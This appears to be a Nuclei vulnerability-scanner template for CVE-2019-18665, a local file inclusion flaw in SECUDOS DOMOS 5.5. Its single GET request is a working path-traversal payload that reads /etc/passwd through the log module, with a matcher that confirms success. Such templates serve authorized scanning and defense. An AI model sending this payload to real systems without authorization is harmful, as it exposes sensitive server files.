id: CVE-2019-18665

info:
  name: DOMOS 5.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    SECUDOS DOMOS before 5.6 allows local file inclusion via the log module.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest patch or update to a version that is not affected by this vulnerability.
  reference:
    - https://atomic111.github.io/article/secudos-domos-directory_traversal
    - https://vuldb.com/?id.144804
    - https://www.secudos.de/news-und-events/aktuelle-news/domos-release-5-6
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18665
    - https://www.cybersecurity-help.cz/vdb/SB2019110403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18665
    cwe-id: CWE-22
    epss-score: 0.14855
    epss-percentile: 0.96351
    cpe: cpe:2.3:a:secudos:domos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: secudos
    product: domos
  tags: cve,cve2019,domos,lfi,secudos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a004630440220026fbd421aa4034b16cf36cba6082c3a1ea4fc9aeceb3732b805cb4add008328022001eda2835cf4bcc7e4a491b00d7f46327a730f96765673f44b3b5fdc80252b9d:922c64590222798bb761d5b6d8e72950